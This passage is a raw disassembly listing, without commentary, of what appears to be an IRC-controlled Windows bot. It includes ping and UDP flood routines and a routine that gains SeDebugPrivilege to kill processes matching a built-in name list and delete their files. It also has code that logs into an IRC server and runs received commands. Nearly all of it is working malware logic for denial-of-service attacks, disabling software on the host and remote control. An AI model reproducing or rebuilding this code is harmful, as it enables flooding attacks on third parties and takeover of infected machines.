-28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_412DD0 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h pop ecx mov esi, eax xor ebx, ebx lea edi, [ebp+var_144] rep movsd inc ebx mov [eax+120h], ebx call dword_4334F0 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_433514 mov esi, eax xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_406D32 lea eax, [ebp+var_C0] push eax call dword_433500 test eax, eax jz short loc_406D38 loc_406D32: ; CODE XREF: sub_406CD9+46j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_406D96 loc_406D38: ; CODE XREF: sub_406CD9+57j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingErrorSendi ; "[PING]: Error sending pings to %s." push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_28], 0 jnz short loc_406D7A push 0 push [ebp+var_2C] lea eax, [ebp+var_344] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_4045DD add esp, 14h loc_406D7A: ; CODE XREF: sub_406CD9+7Ej lea eax, [ebp+var_344] push eax call sub_401C33 push [ebp+var_30] call sub_4111AE pop ecx pop ecx push ebx jmp loc_406E5B ; --------------------------------------------------------------------------- loc_406D96: ; CODE XREF: sub_406CD9+5Dj test eax, eax jz short loc_406DA6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_406DA9 ; --------------------------------------------------------------------------- loc_406DA6: ; CODE XREF: sub_406CD9+BFj mov [ebp+var_4], esi loc_406DA9: ; CODE XREF: sub_406CD9+CBj push 7 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh cmp [ebp+var_3C], eax jle short loc_406DC4 mov [ebp+var_3C], eax loc_406DC4: ; CODE XREF: sub_406CD9+E6j cmp [ebp+var_38], ebx jge short loc_406DCC mov [ebp+var_38], ebx loc_406DCC: ; CODE XREF: sub_406CD9+EEj xor edi, edi xor esi, esi cmp [ebp+var_40], edi jle short loc_406DFB loc_406DD5: ; CODE XREF: sub_406CD9+120j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push edi push [ebp+var_3C] lea eax, [ebp+var_10320] push eax push [ebp+var_4] push [ebp+arg_0] call dword_433588 inc esi cmp esi, [ebp+var_40] jl short loc_406DD5 loc_406DFB: ; CODE XREF: sub_406CD9+FAj push [ebp+arg_0] call dword_433524 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s." push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_28], edi jnz short loc_406E44 push edi push [ebp+var_2C] lea eax, [ebp+var_344] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_4045DD add esp, 14h loc_406E44: ; CODE XREF: sub_406CD9+149j lea eax, [ebp+var_344] push eax call sub_401C33 push [ebp+var_30] call sub_4111AE pop ecx pop ecx push edi loc_406E5B: ; CODE XREF: sub_406CD9+B8j call ds:dword_41F014 int 3 ; Trap to Debugger sub_406CD9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E62 proc near ; DATA XREF: sub_4078FA+5201o var_10316 = byte ptr -10316h var_10314 = byte ptr -10314h var_338 = byte ptr -338h var_138 = dword ptr -138h var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10314h call sub_412DD0 mov eax, [ebp+arg_0] push esi push edi push 49h pop ecx mov esi, eax lea edi, [ebp+var_138] rep movsd xor esi, esi inc esi mov [eax+120h], esi call ds:dword_41F004 push eax call sub_412D64 pop ecx push 11h push 2 push 2 call dword_4334A0 mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+var_B4] push eax mov [ebp+var_14], 2 call dword_433514 xor edi, edi xor ecx, ecx cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_406F3D lea eax, [ebp+var_B4] push eax call dword_433500 mov ecx, eax cmp ecx, edi jnz short loc_406F3D lea eax, [ebp+var_B4] push eax lea eax, [ebp+var_338] push offset aUdpErrorSendin ; "[UDP]: Error sending pings to %s." push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_406F21 push edi push [ebp+var_20] lea eax, [ebp+var_338] push eax lea eax, [ebp+var_134] push eax push [ebp+var_138] call sub_4045DD add esp, 14h loc_406F21: ; CODE XREF: sub_406E62+9Dj lea eax, [ebp+var_338] push eax call sub_401C33 push [ebp+var_24] call sub_4111AE pop ecx pop ecx push esi jmp loc_407076 ; --------------------------------------------------------------------------- loc_406F3D: ; CODE XREF: sub_406E62+6Aj ; sub_406E62+7Dj cmp [ebp+var_28], edi jge short loc_406F45 mov [ebp+var_28], edi loc_406F45: ; CODE XREF: sub_406E62+DEj mov eax, 0FFFFh cmp [ebp+var_28], eax jle short loc_406F52 mov [ebp+var_28], eax loc_406F52: ; CODE XREF: sub_406E62+EBj cmp ecx, edi jz short loc_406F5D mov eax, [ecx+0Ch] mov eax, [eax] jmp short loc_406F60 ; --------------------------------------------------------------------------- loc_406F5D: ; CODE XREF: sub_406E62+F2j lea eax, [ebp+arg_0] loc_406F60: ; CODE XREF: sub_406E62+F9j cmp [ebp+var_28], edi mov eax, [eax] mov [ebp+var_10], eax jnz short loc_406F7B call sub_412D71 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_406F7E ; --------------------------------------------------------------------------- loc_406F7B: ; CODE XREF: sub_406E62+106j push [ebp+var_28] loc_406F7E: ; CODE XREF: sub_406E62+117j call dword_4335EC mov [ebp+var_12], ax mov eax, [ebp+var_34] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_2C], edi mov [ebp+var_34], eax jnz short loc_406F9C mov [ebp+var_2C], esi loc_406F9C: ; CODE XREF: sub_406E62+135j xor esi, esi cmp [ebp+var_30], edi jle short loc_407017 loc_406FA3: ; CODE XREF: sub_406E62+159j call sub_412D71 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_30] mov [ebp+esi-10315h], dl jl short loc_406FA3 jmp short loc_407017 ; --------------------------------------------------------------------------- loc_406FBF: ; CODE XREF: sub_406E62+1B8j dec [ebp+var_34] push 0Bh pop esi loc_406FC5: ; CODE XREF: sub_406E62+195j push 10h lea eax, [ebp+var_14] push eax push edi call sub_412D71 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_30] sub eax, edx push eax lea eax, [ebp+var_10314] push eax push [ebp+var_4] call dword_433470 push [ebp+var_2C] call ds:dword_41F000 dec esi jnz short loc_406FC5 cmp [ebp+var_28], edi jnz short loc_407017 call sub_412D71 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4335EC mov [ebp+var_12], ax loc_407017: ; CODE XREF: sub_406E62+13Fj ; sub_406E62+15Bj ... cmp [ebp+var_34], edi jg short loc_406FBF dec [ebp+var_34] lea eax, [ebp+var_B4] push eax lea eax, [ebp+var_338] push offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s." push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_40705F push edi push [ebp+var_20] lea eax, [ebp+var_338] push eax lea eax, [ebp+var_134] push eax push [ebp+var_138] call sub_4045DD add esp, 14h loc_40705F: ; CODE XREF: sub_406E62+1DBj lea eax, [ebp+var_338] push eax call sub_401C33 push [ebp+var_24] call sub_4111AE pop ecx pop ecx push edi loc_407076: ; CODE XREF: sub_406E62+D6j call ds:dword_41F014 loc_40707C: ; DATA XREF: .data:0042BBE4o ; .data:0042BBF8o ... int 3 ; Trap to Debugger sub_406E62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40707D proc near ; CODE XREF: sub_4058F3+7p ; sub_4070E8+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_41F0B4 push eax call dword_4335D4 test eax, eax jnz short loc_40709C leave retn ; --------------------------------------------------------------------------- loc_40709C: ; CODE XREF: sub_40707D+1Bj push esi lea eax, [ebp+var_10] push eax push [ebp+arg_0] xor esi, esi push esi call dword_4335BC test eax, eax jz short loc_4070DA cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_4070C3 or [ebp+var_8], 2 jmp short loc_4070C7 ; --------------------------------------------------------------------------- loc_4070C3: ; CODE XREF: sub_40707D+3Ej and [ebp+var_8], 0FFFFFFFDh loc_4070C7: ; CODE XREF: sub_40707D+44j push esi push esi push esi lea eax, [ebp+var_14] push eax push esi push [ebp+var_4] call dword_433508 mov esi, eax loc_4070DA: ; CODE XREF: sub_40707D+32j push [ebp+var_4] call ds:dword_41F034 mov eax, esi pop esi leave retn sub_40707D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070E8 proc near ; CODE XREF: sub_4073FB+68p ; sub_4074FD+Cp ... var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi xor ebx, ebx push 49h xor eax, eax cmp dword_433490, ebx pop ecx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_4072F9 cmp dword_4334EC, ebx jz loc_4072F9 cmp dword_433450, ebx jz loc_4072F9 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40707D pop ecx pop ecx push ebx push 0Fh call dword_433490 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_4072EC lea eax, [ebp+var_12C] push eax push edi mov [ebp+var_12C], 128h call dword_4334EC test eax, eax mov esi, ds:dword_41F034 jz loc_4072E7 lea eax, [ebp+var_12C] push eax push edi call dword_433450 test eax, eax jz loc_4072E7 mov ebx, ds:dword_41F0C4 loc_4071A7: ; CODE XREF: sub_4070E8+1F7j cmp [ebp+arg_10], 0 jz short loc_407208 xor edi, edi loc_4071AF: ; CODE XREF: sub_4070E8+E7j push off_42A458[edi] lea eax, [ebp+var_108] push eax call ds:dword_41F0C0 test eax, eax jz short loc_4071D6 add edi, 4 cmp edi, 9E0h jb short loc_4071AF jmp loc_4072CD ; --------------------------------------------------------------------------- loc_4071D6: ; CODE XREF: sub_4070E8+DCj push [ebp+var_124] push 0 push 1F0FFFh call ebx mov edi, eax test edi, edi jz loc_4072CD push 0 push edi call ds:dword_41F0BC test eax, eax jnz loc_4072CD loc_407200: ; CODE XREF: sub_4070E8+1AFj push edi call esi jmp loc_4072CD ; --------------------------------------------------------------------------- loc_407208: ; CODE XREF: sub_4070E8+C3j mov edi, [ebp+arg_C] test edi, edi jnz loc_40729C cmp [ebp+arg_4], edi jz loc_4072CD push [ebp+var_124] push 8 call dword_433490 cmp [ebp+arg_14], 0 mov edi, eax mov [ebp+var_350], 224h jz short loc_40725C lea eax, [ebp+var_350] push eax push edi call dword_4334B8 test eax, eax push [ebp+var_124] jz short loc_407262 lea eax, [ebp+var_230] jmp short loc_407268 ; --------------------------------------------------------------------------- loc_40725C: ; CODE XREF: sub_4070E8+152j push [ebp+var_124] loc_407262: ; CODE XREF: sub_4070E8+16Aj lea eax, [ebp+var_108] loc_407268: ; CODE XREF: sub_4070E8+172j push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_412BB5 add esp, 10h push 1 push [ebp+arg_8] lea eax, [ebp+var_550] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h jmp loc_407200 ; --------------------------------------------------------------------------- loc_40729C: ; CODE XREF: sub_4070E8+125j lea eax, [ebp+var_108] loc_4072A2: ; CODE XREF: sub_4070E8+1D6j mov dl, [eax] mov cl, dl cmp dl, [edi] jnz short loc_4072C4 test cl, cl jz short loc_4072C0 mov dl, [eax+1] mov cl, dl cmp dl, [edi+1] jnz short loc_4072C4 inc eax inc eax inc edi inc edi test cl, cl jnz short loc_4072A2 loc_4072C0: ; CODE XREF: sub_4070E8+1C4j xor eax, eax jmp short loc_4072C9 ; --------------------------------------------------------------------------- loc_4072C4: ; CODE XREF: sub_4070E8+1C0j ; sub_4070E8+1CEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_4072C9: ; CODE XREF: sub_4070E8+1DAj test eax, eax jz short loc_407300 loc_4072CD: ; CODE XREF: sub_4070E8+E9j ; sub_4070E8+101j ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_433450 test eax, eax jnz loc_4071A7 xor ebx, ebx loc_4072E7: ; CODE XREF: sub_4070E8+9Dj ; sub_4070E8+B3j push [ebp+var_4] call esi loc_4072EC: ; CODE XREF: sub_4070E8+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40707D pop ecx pop ecx loc_4072F9: ; CODE XREF: sub_4070E8+3Aj ; sub_4070E8+46j ... xor eax, eax loc_4072FB: ; CODE XREF: sub_4070E8+30Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407300: ; CODE XREF: sub_4070E8+1E3j push [ebp+var_124] push 0 push 1F0FFFh call ebx push [ebp+var_124] mov edi, eax push 8 call dword_433490 push [ebp+var_4] mov ebx, eax mov [ebp+var_350], 224h call esi push 0 push edi call ds:dword_41F0BC test eax, eax jnz short loc_407345 push edi call esi push ebx call esi jmp short loc_4072F9 ; --------------------------------------------------------------------------- loc_407345: ; CODE XREF: sub_4070E8+253j cmp [ebp+arg_18], 0 jz loc_4073F3 lea eax, [ebp+var_350] push eax push ebx call dword_4334B8 test eax, eax jz short loc_4073B8 push ebx call esi xor esi, esi loc_407366: ; CODE XREF: sub_4070E8+2B2j push 7D0h call ds:dword_41F000 push 20h lea eax, [ebp+var_230] push eax inc esi call ds:dword_41F0A0 lea eax, [ebp+var_230] push eax call ds:dword_41F0B8 test eax, eax setnz al test al, al jnz short loc_4073AA cmp esi, 5 jl short loc_407366 lea eax, [ebp+var_230] push eax push offset aCouldNotDelete ; "Could not delete '%s'.!\n" jmp short loc_4073C4 ; --------------------------------------------------------------------------- loc_4073AA: ; CODE XREF: sub_4070E8+2ADj lea eax, [ebp+var_230] push eax push offset aFileDeletedS_ ; "[FILE]: Deleted '%s'.\n" jmp short loc_4073C4 ; --------------------------------------------------------------------------- loc_4073B8: ; CODE XREF: sub_4070E8+277j lea eax, [ebp+var_108] push eax push offset aCannotExtractP ; "Cannot extract process path for %s\n" loc_4073C4: ; CODE XREF: sub_4070E8+2C0j ; sub_4070E8+2CEj lea eax, [ebp+var_550] push eax call sub_412BB5 add esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_4073F3 push 1 push [ebp+arg_8] lea eax, [ebp+var_550] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_4073F3: ; CODE XREF: sub_4070E8+261j ; sub_4070E8+2EFj xor eax, eax inc eax jmp loc_4072FB sub_4070E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4073FB proc near ; DATA XREF: sub_4078FA+43C7o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 298h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+74h+var_298] push offset aProcListingPro ; "[PROC]: Listing processes:" push eax call sub_412BB5 xor esi, esi cmp [ebp+74h+var_8], esi pop ecx pop ecx jnz short loc_407453 push esi push [ebp+74h+var_C] lea eax, [ebp+74h+var_298] push eax lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_4045DD add esp, 14h loc_407453: ; CODE XREF: sub_4073FB+3Cj push esi push [ebp+74h+var_10] lea eax, [ebp+74h+var_94] push esi push esi push [ebp+74h+var_C] push eax push [ebp+74h+var_98] call sub_4070E8 add esp, 1Ch test eax, eax lea eax, [ebp+74h+var_298] jnz short loc_40747C push offset aProcProcessLis ; "[PROC]: Process list completed." jmp short loc_407481 ; --------------------------------------------------------------------------- loc_40747C: ; CODE XREF: sub_4073FB+78j push offset aProcProcessL_0 ; "[PROC]: Process list failed." loc_407481: ; CODE XREF: sub_4073FB+7Fj push eax call sub_412BB5 cmp [ebp+74h+var_8], esi pop ecx pop ecx jnz short loc_4074A8 push esi push [ebp+74h+var_C] lea eax, [ebp+74h+var_298] push eax lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_4045DD add esp, 14h loc_4074A8: ; CODE XREF: sub_4073FB+91j lea eax, [ebp+74h+var_298] push eax call sub_401C33 push [ebp+74h+var_14] call sub_4111AE pop ecx pop ecx push esi call ds:dword_41F014 int 3 ; Trap to Debugger sub_4073FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4074C6 proc near ; CODE XREF: sub_4078FA+35CAp ; sub_410FD3+4Dp arg_0 = dword ptr 4 push esi push edi push [esp+8+arg_0] xor edi, edi push 0 push 1F0FFFh inc edi call ds:dword_41F0C4 mov esi, eax test esi, esi jz short loc_4074F8 push 0 push esi call ds:dword_41F0BC test eax, eax jnz short loc_4074F8 push esi xor edi, edi call ds:dword_41F034 loc_4074F8: ; CODE XREF: sub_4074C6+1Aj ; sub_4074C6+27j mov eax, edi pop edi pop esi retn sub_4074C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4074FD proc near ; DATA XREF: sub_4078FA+1EC7o push esi xor esi, esi loc_407500: ; CODE XREF: sub_4074FD+20j push esi push 1 push 1 push esi push esi push esi push esi call sub_4070E8 add esp, 1Ch push dword_42A450 call ds:dword_41F000 jmp short loc_407500 sub_4074FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=58h sub_40751F proc near ; CODE XREF: sub_40779B+D0p var_1E1C = byte ptr -1E1Ch var_E1C = byte ptr -0E1Ch var_64C = byte ptr -64Ch var_5AC = byte ptr -5ACh var_4AC = byte ptr -4ACh var_2AC = byte ptr -2ACh var_AC = byte ptr -0ACh var_2C = byte ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov eax, 1E1Ch lea ebp, [esp-58h] call sub_412DD0 push ebx push esi xor ebx, ebx push 2 mov [ebp+58h+var_14], ebx lea eax, [ebp+58h+var_5AC] pop ecx loc_40753E: ; CODE XREF: sub_40751F+28j and byte ptr [eax], 0 add eax, 80h dec ecx jnz short loc_40753E cmp byte_479BB4, 0 jz short loc_407567 push offset byte_479BB4 push offset aPassS ; "PASS %s\r\n" push [ebp+58h+arg_0] call sub_404592 add esp, 0Ch loc_407567: ; CODE XREF: sub_40751F+31j push [ebp+58h+arg_C] lea eax, [ebp+58h+var_2C] push ebx push ebx push 2 push eax call sub_40E7B0 add esp, 10h push eax push [ebp+58h+arg_C] lea eax, [ebp+58h+var_AC] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_412BB5 lea eax, [ebp+58h+var_AC] add esp, 14h lea esi, [eax+1] loc_407595: ; CODE XREF: sub_40751F+7Bj mov cl, [eax] inc eax test cl, cl jnz short loc_407595 push ebx sub eax, esi push eax lea eax, [ebp+58h+var_AC] push eax push [ebp+58h+arg_0] call dword_433534 cmp eax, 0FFFFFFFFh jnz short loc_4075CD push [ebp+58h+arg_0] call dword_4335AC push 7D0h call ds:dword_41F000 xor eax, eax jmp loc_407794 ; --------------------------------------------------------------------------- loc_4075CD: ; CODE XREF: sub_40751F+91j push edi jmp loc_40775A ; --------------------------------------------------------------------------- loc_4075D3: ; CODE XREF: sub_40751F+262j lea eax, [ebp+58h+var_E1C] push eax lea eax, [ebp+58h+var_1E1C] push eax call sub_40564B cmp eax, ebx pop ecx pop ecx mov [ebp+58h+var_18], eax mov [ebp+58h+var_10], ebx jle loc_40775A lea esi, [ebp+58h+var_E1C] mov [ebp+58h+var_C], esi loc_4075FF: ; CODE XREF: sub_40751F+235j push offset asc_4246B4 ; " :" push dword ptr [esi] xor eax, eax mov ecx, 80h lea edi, [ebp+58h+var_2AC] rep stosd call sub_413920 cmp eax, ebx pop ecx pop ecx mov [ebp+58h+var_4], eax jz short loc_407629 add [ebp+58h+var_4], 2 jmp short loc_40762E ; --------------------------------------------------------------------------- loc_407629: ; CODE XREF: sub_40751F+102j mov eax, [esi] mov [ebp+58h+var_4], eax loc_40762E: ; CODE XREF: sub_40751F+108j push 1FFh push [ebp+58h+var_4] lea eax, [ebp+58h+var_2AC] push eax call sub_412C40 lea eax, [ebp+58h+var_2AC] push offset asc_4246B0 ; "|" push eax call sub_413859 add esp, 14h test eax, eax mov [ebp+58h+var_8], eax lea ebx, [ebp+58h+var_2AC] jz loc_407743 loc_407667: ; CODE XREF: sub_40751F+21Ej xor eax, eax mov ecx, 80h lea edi, [ebp+58h+var_4AC] rep stosd mov eax, [esi] mov ecx, [ebp+58h+var_4] sub ecx, eax push ecx push eax lea eax, [ebp+58h+var_4AC] push eax call sub_412C40 mov eax, [ebp+58h+var_8] add esp, 0Ch mov esi, eax loc_407693: ; CODE XREF: sub_40751F+179j mov cl, [eax] inc eax test cl, cl jnz short loc_407693 lea edi, [ebp+58h+var_4AC] sub eax, esi dec edi loc_4076A3: ; CODE XREF: sub_40751F+18Aj mov cl, [edi+1] inc edi test cl, cl jnz short loc_4076A3 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+58h+var_8] and ecx, 3 rep movsb lea esi, [eax+1] loc_4076BF: ; CODE XREF: sub_40751F+1A5j mov cl, [eax] inc eax test cl, cl jnz short loc_4076BF sub eax, esi lea ebx, [ebx+eax+1] push offset asc_4246B0 ; "|" push ebx call sub_413859 pop ecx xor esi, esi pop ecx mov [ebp+58h+var_8], eax inc esi loc_4076DF: ; CODE XREF: sub_40751F+206j push [ebp+58h+arg_1C] lea eax, [ebp+58h+var_14] push esi push eax lea eax, [ebp+58h+var_64C] push eax lea eax, [ebp+58h+var_5AC] push eax push [ebp+58h+arg_18] lea eax, [ebp+58h+var_4AC] push [ebp+58h+arg_C] push [ebp+58h+arg_8] push [ebp+58h+arg_4] push [ebp+58h+arg_0] push eax call sub_4078FA add esp, 2Ch dec eax mov esi, eax test esi, esi jle short loc_407727 push 0FAh call ds:dword_41F000 jmp short loc_4076DF ; --------------------------------------------------------------------------- loc_407727: ; CODE XREF: sub_40751F+1F9j cmp esi, 0FFFFFFFDh jz short loc_407790 cmp esi, 0FFFFFFFEh jz short loc_40778B cmp esi, 0FFFFFFFFh jz short loc_407787 cmp [ebp+58h+var_8], 0 mov esi, [ebp+58h+var_C] jnz loc_407667 loc_407743: ; CODE XREF: sub_40751F+142j inc [ebp+58h+var_10] mov eax, [ebp+58h+var_10] add esi, 4 xor ebx, ebx cmp eax, [ebp+58h+var_18] mov [ebp+58h+var_C], esi jl loc_4075FF loc_40775A: ; CODE XREF: sub_40751F+AFj ; sub_40751F+D1j xor eax, eax push ebx lea edi, [ebp+58h+var_1E1C] mov ecx, 400h rep stosd push 1000h lea eax, [ebp+58h+var_1E1C] push eax push [ebp+58h+arg_0] call dword_433414 test eax, eax jg loc_4075D3 loc_407787: ; CODE XREF: sub_40751F+215j xor eax, eax jmp short loc_407793 ; --------------------------------------------------------------------------- loc_40778B: ; CODE XREF: sub_40751F+210j xor eax, eax inc eax jmp short loc_407793 ; --------------------------------------------------------------------------- loc_407790: ; CODE XREF: sub_40751F+20Bj push 2 pop eax loc_407793: ; CODE XREF: sub_40751F+26Aj ; sub_40751F+26Fj pop edi loc_407794: ; CODE XREF: sub_40751F+A9j pop esi pop ebx add ebp, 58h leave retn sub_40751F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40779B proc near ; CODE XREF: sub_40D1EF+472p ; DATA XREF: sub_4078FA+296Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push ebx push esi push edi push 59h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_190] inc ebx rep movsd mov [eax+160h], ebx jmp loc_407896 ; --------------------------------------------------------------------------- loc_4077C5: ; CODE XREF: sub_40779B+129j push 7 pop ecx xor eax, eax push eax push dword_42AE68 lea edi, [ebp+var_2C] push dword_42AE64 rep stosd lea eax, [ebp+var_2C] push eax call sub_40E7B0 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_434350 push edi push eax call sub_412C40 add esp, 1Ch push 6 push ebx push 2 call dword_4334A0 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h mov dword_434344[eax], esi push 10h lea eax, [ebp+var_10] push eax push esi call dword_433458 cmp eax, 0FFFFFFFFh jz loc_4078CC lea eax, [ebp+var_18C] push eax push offset aMainConnectedT ; "[MAIN]: Connected to %s." call sub_401CA7 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax push [ebp+var_190] lea eax, [ebp+var_CC] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40751F add esp, 28h push esi mov edi, eax call dword_4335AC test edi, edi jz short loc_407896 cmp edi, ebx jnz short loc_407891 push 1D4C0h call ds:dword_41F000 jmp short loc_407896 ; --------------------------------------------------------------------------- loc_407891: ; CODE XREF: sub_40779B+E7j cmp edi, 2 jz short loc_4078E7 loc_407896: ; CODE XREF: sub_40779B+25j ; sub_40779B+E3j ... push [ebp+var_3C] xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd mov [ebp+var_10], 2 call dword_4335EC mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_406B1D test eax, eax pop ecx mov [ebp+var_C], eax jnz loc_4077C5 jmp short loc_4078F3 ; --------------------------------------------------------------------------- loc_4078CC: ; CODE XREF: sub_40779B+92j push esi call dword_4335AC call sub_406B46 push 7D0h call ds:dword_41F000 mov eax, ebx jmp short loc_4078F3 ; --------------------------------------------------------------------------- loc_4078E7: ; CODE XREF: sub_40779B+F9j push [ebp+var_34] call sub_4111AE pop ecx push 2 pop eax loc_4078F3: ; CODE XREF: sub_40779B+12Fj ; sub_40779B+14Aj pop edi pop esi pop ebx leave retn 4 sub_40779B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078FA proc near ; CODE XREF: sub_40751F+1ECp var_2178 = byte ptr -2178h var_1D78 = byte ptr -1D78h var_1BE8 = byte ptr -1BE8h var_19E8 = byte ptr -19E8h var_18E8 = byte ptr -18E8h var_17E8 = byte ptr -17E8h var_15E8 = byte ptr -15E8h var_15E4 = byte ptr -15E4h var_14E4 = dword ptr -14E4h var_14E0 = byte ptr -14E0h var_13E0 = byte ptr -13E0h var_1360 = dword ptr -1360h var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = byte ptr -1344h var_1340 = byte ptr -1340h var_1240 = byte ptr -1240h var_123C = byte ptr -123Ch var_11BC = byte ptr -11BCh var_117C = byte ptr -117Ch var_10EC = dword ptr -10ECh var_10E8 = dword ptr -10E8h var_10E4 = dword ptr -10E4h var_10E0 = dword ptr -10E0h var_10DC = dword ptr -10DCh var_10D4 = byte ptr -10D4h var_1054 = byte ptr -1054h var_FD4 = dword ptr -0FD4h var_FD0 = dword ptr -0FD0h var_FCC = dword ptr -0FCCh var_FC4 = dword ptr -0FC4h var_FC0 = dword ptr -0FC0h var_FBC = dword ptr -0FBCh var_FB4 = dword ptr -0FB4h var_FB0 = byte ptr -0FB0h var_FAC = dword ptr -0FACh var_FA8 = byte ptr -0FA8h var_F28 = byte ptr -0F28h var_E28 = byte ptr -0E28h var_D29 = byte ptr -0D29h var_D28 = byte ptr -0D28h var_C28 = dword ptr -0C28h var_C24 = dword ptr -0C24h var_C20 = dword ptr -0C20h var_C1C = dword ptr -0C1Ch var_C18 = dword ptr -0C18h var_C14 = dword ptr -0C14h var_C10 = dword ptr 